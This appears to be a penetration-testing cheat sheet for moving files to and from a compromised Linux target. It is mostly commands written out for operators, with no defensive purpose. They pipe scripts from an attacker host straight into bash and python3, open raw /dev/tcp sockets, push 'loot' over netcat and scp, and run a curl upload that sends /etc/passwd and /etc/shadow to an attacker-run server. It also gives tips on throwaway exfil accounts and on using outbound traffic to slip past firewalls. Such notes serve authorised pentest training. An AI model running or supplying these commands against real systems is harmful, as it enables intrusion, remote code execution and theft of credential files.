Linux targets are kinder to operators. Pipes, curl, and /dev/tcp make fileless execution the default rather than the exception. This page covers everything you need when the target is *nix.

wget and curl

wget http://10.10.10.10/LinEnum.sh -O /tmp/LinEnum.sh
curl http://10.10.10.10/LinEnum.sh -o /tmp/LinEnum.sh

wget uses capital -O; curl uses lowercase -o. Both support HTTPS.

Fileless Execution

Because Linux pipes stream, you execute as you download — no RAM-buffered cradle needed.

curl http://10.10.10.10/LinEnum.sh | bash
wget -qO- http://10.10.10.10/LinEnum.sh | bash
wget -qO- http://10.10.10.10/hello.py | python3

Bash /dev/tcp (No Tools Installed)

If curl, wget, and nc are all missing, Bash itself can open a TCP socket — as long as it’s compiled with --enable-net-redirections (true on most distros).

# Open bidirectional socket as FD 3
exec 3<>/dev/tcp/10.10.10.10/80
 
# Send an HTTP request
echo -e "GET /LinEnum.sh HTTP/1.1\nHost: 10.10.10.10\n\n" >&3
 
# Read response
cat <&3

Combine with sed/tail to strip HTTP headers and keep just the body.

Netcat Transfer

# Attacker listens; target pushes
nc --recv-only -nvlp 8080 > loot.tar
nc --send-only -nv 10.10.10.10 8080 < loot.tar
 
# Reverse: attacker pushes; target receives
nc -nvlp 8080 < tool.bin
cat < /dev/tcp/10.10.10.10/8080 > tool.bin

Options:

  • --recv-only — receiver closes when input EOFs
  • --send-only — sender closes when input EOFs

SCP / SSH

sudo systemctl enable --now ssh
 
scp user@10.10.10.10:/root/flag.txt .
scp /opt/scripts/linpeas.sh user@10.10.10.10:/tmp/
scp -r loot/ user@10.10.10.10:/tmp/       # recursive
scp -P 2222 ...                            # custom port

Temporary user for exfil

Create a throwaway account on your attacker host — avoid exposing your main credentials or keys on a compromised box.

HTTP(S) Upload Server

pip3 install --user uploadserver
 
# HTTP
python3 -m uploadserver
 
# HTTPS with self-signed cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Upload from target:

curl -X POST https://10.10.10.10/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Quick Static Servers

python3 -m http.server 8000
python2.7 -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000

Inbound vs outbound

Inbound traffic is usually what firewalls restrict. Target → attacker (outbound-from-target) typically works even when attacker → target doesn’t.